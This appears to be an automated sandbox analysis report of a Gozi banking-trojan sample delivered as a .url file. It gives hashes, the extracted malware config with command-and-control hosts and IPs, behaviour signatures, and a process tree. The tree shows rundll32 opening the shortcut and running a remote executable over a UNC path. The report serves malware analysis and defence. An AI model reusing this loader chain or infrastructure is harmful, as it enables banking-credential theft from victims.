Analysis

  • max time kernel
    144s
  • max time network
    147s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20230220-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20230220-enlocale:en-usos:windows10-2004-x64system
  • submitted
    08/03/2023, 09:08

General

  • Target

    documenti/documenti.url

  • Size

    191B

  • MD5

    c57ce09111a84d1110b24a8505ff5804

  • SHA1

    9fd1e2577f10a24c2678803e073d35e41b551eb2

  • SHA256

    257413c17f63500a76f9d0216a8dee283021299a61dc0539e6e870fd5d78177b

  • SHA512

    71cf1e5d069a75be84cfcaf82479fb037e75055c05e94ad212453769288b1e3b194156fad802619b0850c9e9abb3c045600779de234b8b51505b1a54f46b7c84

Malware Config

Extracted

Family

gozi

Botnet

7711

C2

checklist.skype.com

62.173.138.6

89.117.37.146

46.8.210.82

89.116.227.15

31.41.44.51

Attributes
  • base_path

    /drew/

  • build

    250255

  • exe_type

    loader

  • extension

    .jlk

  • server_id

    50

rsa_pubkey.plain
aes.plain

Extracted

Family

gozi

Signatures

  • Gozi

    Gozi is a well-known and widely distributed banking trojan.

  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Suspicious use of WriteProcessMemory 3 IoCs

Processes

  • C:\Windows\System32\rundll32.exe
    "C:\Windows\System32\rundll32.exe" "C:\Windows\System32\ieframe.dll",OpenURL C:\Users\Admin\AppData\Local\Temp\documenti\documenti.url
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:4608
    • \??\UNC\46.8.210.57\Agenzia\server.exe
      "\\46.8.210.57\Agenzia\server.exe"
      2⤵
        PID:2148

    Network

          MITRE ATT&CK Enterprise v6

          Replay Monitor

          Loading Replay Monitor...

          Downloads

          • memory/2148-134-0x00000000005D0000-0x00000000005DB000-memory.dmp

            Filesize

            44KB

          • memory/2148-135-0x00000000005F0000-0x00000000005FD000-memory.dmp

            Filesize

            52KB

          • memory/2148-138-0x0000000000400000-0x000000000044C000-memory.dmp

            Filesize

            304KB